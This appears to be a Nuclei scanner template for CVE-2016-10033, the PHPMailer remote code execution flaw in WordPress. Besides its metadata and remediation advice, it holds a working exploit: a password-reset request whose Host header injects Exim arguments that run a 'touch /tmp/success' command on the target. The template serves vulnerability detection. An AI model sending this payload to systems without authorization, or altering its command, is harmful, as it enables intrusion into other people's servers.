id: CVE-2016-10033 info: name: WordPress PHPMailer < 5.2.18 - Remote Code Execution author: princechaddha severity: critical description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport. impact: | Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website. remediation: | Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability. reference: - https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html - https://nvd.nist.gov/vuln/detail/CVE-2016-10033 - https://www.exploit-db.com/exploits/40970/ - https://www.exploit-db.com/exploits/40968/ - http://seclists.org/fulldisclosure/2016/Dec/78 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-10033 cwe-id: CWE-88 epss-score: 0.97129 epss-percentile: 0.99797 cpe: cpe:2.3:a:phpmailer_project:phpmailer:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: phpmailer_project product: phpmailer tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project http: - raw: - |+ GET /?author=1 HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 - |+ POST /wp-login.php?action=lostpassword HTTP/1.1 Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null) Accept: */* Content-Type: application/x-www-form-urlencoded wp-submit=Get+New+Password&redirect_to=&user_login={{username}} unsafe: true matchers-condition: and matchers: - type: word part: header words: - wp-login.php?checkemail=confirm - type: status status: - 302 extractors: - type: regex name: username group: 1 regex: - 'Author:(?:[A-Za-z0-9 -\_="]+)?